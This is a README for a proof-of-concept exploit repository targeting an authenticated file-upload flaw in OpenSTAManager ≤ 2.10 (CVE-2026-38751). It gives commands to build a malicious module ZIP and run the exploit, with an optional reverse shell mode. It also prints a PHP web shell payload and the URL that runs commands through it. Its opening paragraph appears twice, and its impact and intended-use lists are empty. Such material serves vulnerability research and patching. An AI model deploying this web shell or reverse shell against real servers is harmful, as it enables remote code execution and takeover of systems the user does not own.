mkps/cve-2026-38751-openstamanager-arbitrary-file-upload-poc
This repository contains a proof-of-concept (PoC) exploit for CVE-2026-38751, affecting OpenSTAManager ≤ 2.10. The vulnerability allows an authenticated attacker to upload a malicious module via the module update functionality, leading to arbitrary file upload and remote code execution (RCE).
This repository contains a proof-of-concept (PoC) exploit for CVE-2026-38751, affecting OpenSTAManager ≤ 2.10. The vulnerability allows an authenticated attacker to upload a malicious module via the module update functionality, leading to arbitrary file upload and remote code execution (RCE).
modules/aggiornamenti/upload_modules.php)The module update functionality allows authenticated users to upload ZIP-based modules without proper validation of file contents or execution boundaries. An attacker can craft a malicious module containing PHP payloads, which are then deployed into the web root and executed via the application context. This results in:
##Impact Successful exploitation allows:
python exploit.py --build
Creates:
update.zip
└── run/
├── MODULE
└── evil.php
python exploit.py <username> <password> <target_url>
Optional reverse shell mode:
python exploit.py <username> <password> <target_url> --lhost <IP> --lport <PORT>
Example Payload
<?php
isset($_GET['cmd']) && system($_GET['cmd']);
?>
If successful, the following endpoint executes system commands:
/modules/run/evil.php?cmd=id
This project is intended for:
Do not use against systems without explicit permission.
Notes
Detection may vary depending on server configuration. Some deployments may disable direct PHP execution in module directories. Timing of module activation may require retries.
Acknowledgements